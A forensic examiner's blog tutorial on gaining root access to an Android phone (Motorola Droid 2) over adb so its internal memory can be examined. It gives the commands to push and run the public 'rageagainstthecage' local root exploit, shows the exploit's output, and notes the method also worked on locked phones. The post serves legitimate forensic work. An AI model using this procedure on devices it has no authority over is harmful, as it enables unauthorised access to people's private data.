Defeating the Droid

I received a Motorola Droid 2 for analysis.  Processing the 16gb SD card was trivial as it is removable and subject to traditional imaging techniques.  But what of the internal phone memory?  After a lot of researching, I found there just wasn't a lot of information out there for forensic examiners.  I settled on a procedure called "rooting" which I'll document here.

Caveat 1: I wouldn't call this a "forensically sound" approach, per se, in that it makes changes to the phone. But I wouldn't say this leads to automatic disqualification of the evidence, either.  The technique was a necessary approach under the circumstance of current technology to meet the needs of my investigation.  The techniques and their impacts on the evidence can be explained and therefore may be admissible.  Your mileage may vary.


Caveat 2: The "rooting" process I describe here borrows from common techniques found on the Web that were developed by users of Android phones to gain full access to their devices.  But, the process described here differs significantly. Do not follow the user-oriented tutorials for rooting devices as they require you to install files unnecessary to forensics and make significant changes to the device, sometimes erasing user data!

Preparing the Phone

Luckily, the phone I received was unlocked. I accessed the settings, disabled wireless networking, and placed the device in airplane mode to minimize changes and prevent remote access. I also disabled the password and automatic screen locking, and I determined the OS version (v2.2.2) through "Settings | About Phone", in this case 2.2.2. Two other settings are required: set the device to enter USB debugging mode when connected by USB and set it to stay awake while charging  through "Settings | Applications | Development."

I have since learned that the technique I describe below will work on locked Andriod phones that have USB debugging enabled.  Working with another investigator, we rooted a locked Virgin Mobile LG Optimus and a locked HTC Incredible.

Preparing the Workstation

I downloaded and installed the Android SDK which includes the very useful Android Debug Bridge (adb) utility.  Installation of the Linux version involves extracting the compressed archive (tar) and copying to a directory of your choice.  In my case, I chose '/usr/local'.

# tar xzvf android-sdk_r11-linux_x86.tgz.tar -C /usr/local

Update the SDK to ensure you have the latest tools

# ./usr/local/android-sdk-linux_x86/tools/android update sdk

Creating a link to adb somewhere in your path, such as /usr/local/bin makes running the utility easy and is recommended.  I created a link with the following command:

# ln -s /usr/local/android-sdk-linux_x86/platform-tools/adb /usr/local/bin/adb

Working with the Android Debug Bridge

With the SDK installed and the device connected by USB cable, the command 'adb devices', run as root, will start the adb server and show the serial number of a USB-attached Android device.  If the serial number is represented by a series of question marks, kill the sever with 'adb kill-server' and restart with 'adb root'.  The Android version and phone model influence whether or not you can start the adbd daemon as root. I recommend attaching only one device at a time so that subsequent commands need not specify the device on which to operate.  Use 'adb help' to list all possible commands and a brief description of their use.

Default ADB Shell Access

There is limited access to the device file system by dropping into the adb shell with the command 'adb shell'.  This is true even if you are root when you start the adb server and if you start the adbd daemon with 'adb root'.  You'll note that you have the standard '$' user prompt.  In other words, when you launch the adb shell, you are dropped into in a shell console on the running phone with standard user privileges.

The adb shell is an ASH shell with limited binary tool availability.  For example, there are no copy or find commands.  There is no inline command editing or shell history.  Your limited privileges prevent you from accessing the /data and /cache directories which contain the bulk of the user data you are likely seeking.  Other available adb commands (not part of adb shell), can be used to recursively copy files from the device to your local system (adb pull) or place local files into the Android file system (adb push), but your limited privileges still impede you.

Escalating Permissions with Rageagainstthecage

The solution is to "root" the device.  Rooting, in this case, means to escalate your privileges in the adb shell to super-user status.  I could not find a rooting method that prevented any changes to the phone's file system (the exploit has to be loaded into a partition on the phone), but  I settled on the small 5k 'rageagainstthecage' exploit,  which is an adb setuid exhaustion attack. In a nutshell, the exploit crashes the adbd daemon on the phone and prevents it from deescalating root privileges when it restarts.  I know of no 'trusted' exploits for forensics, and this seemed the soundest approach to minimize changes to the running operating system on the device.

A variety of exploits can be downloaded from the Android Devices Website, but it is not the only location for rooting information.  The xda-developers website is another good resource.  In the case of the Motorola Droid 2, I'll use the rageagainstthecage binary file from the developer, which includes the source code for review.

Installing and Running the Exploit

The process of rooting is straight forward:  Push the file to the device, make it executable, and run.  The result is a crashed adbd daemon, that when restarted, allows the adb shell to start with root permissions.

1. Extract the the rageagainstthecage-arm5.bin bin from the tar file.
   
   # tar xzvf RageAgainstTheCage.tgz.tar rageagainstthecage-arm5.bin
   
2. (optional) Rename rageaginstthecage-arm5.bin to something easy to type, like ratc.bin.
   
   # mv rageagainstthecage-arm5.bin ratc.bin
   
3. Push the file to a user-accessible location on the phone where execution of files is permitted.  I'd prefer a different location than the /data partition, but so far this has been my best option.
   
   # adb push ratc.bin /data/local/tmp/ratc.bin
   
4. Drop into the shell, make the file executable, and run.  Note the prompt change after executing adb shell as root.
   
   # adb shell  <-- your root terminal
   $ chmod 0755 /data/local/tmp/ratc.bin  <-- adb shell
   $ ./data/local/tmp/ratc.bin
   [*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C
   
   [*] checking NPROC limit ...
   [+] RLIMIT_NPROC={1803, 1803}
   [*] Searching for adb ...
   [+] Found adb as PID 3323
   [*] Spawning children. Dont type anything and wait for reset!
   [*]
   ...
   [*] adb connection will be reset. restart adb server on desktop and re-login.
   $ #  <-- your root terminal again
   
   You will be dumped out of the adb shell back into your terminal.  Be patient, as this can take a few moments.  The exploit is launching processes and creating a race condition to prevent the adb daemon from deescalating privileges on restart.  If you are not dumped from the shell, run the exploit again. 
   
5. Finally, restart the adb shell (note the root prompt indicating you are now the root user on the device). DO NOT restart the adb server, as the last system message indicates.  It will restart on its own , if needed, when you issue the 'adb shell' command.
   
   # adb shell
   #  <-- adb shell prompt
   
   If you receive the "device not found" error when restarting the adb shell, wait a few moments and try again: then adbd daemon on the phone has not finished restarting.

There, you've done it! You have rooted the device.  The root adb shell will remain until you restart the adbd daemon with 'adb kill-server' or by rebooting the phone.  The exploit will remain on the phone until you delete it in the adb shell with:

# rm /data/local/tmp/ratc.bin

You are now ready to start copying partitions and/or logical files for your examination... almost.  You still lack the tools to copy files, (though not partitions), and copying whole partitions with dd, while possible, isn't as straight forward as it is with physical disks, the primary issue being the yaffs filesystem they contain.  Since this post has gotten quite long, I'll discuss those issues if future posts.